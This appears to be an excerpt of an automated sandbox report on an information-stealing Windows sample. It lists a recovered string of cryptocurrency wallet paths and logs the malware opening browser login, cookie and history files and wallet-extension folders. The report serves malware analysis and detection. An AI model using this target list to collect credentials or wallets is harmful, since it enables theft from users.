Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2091184499.0000000000AC4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
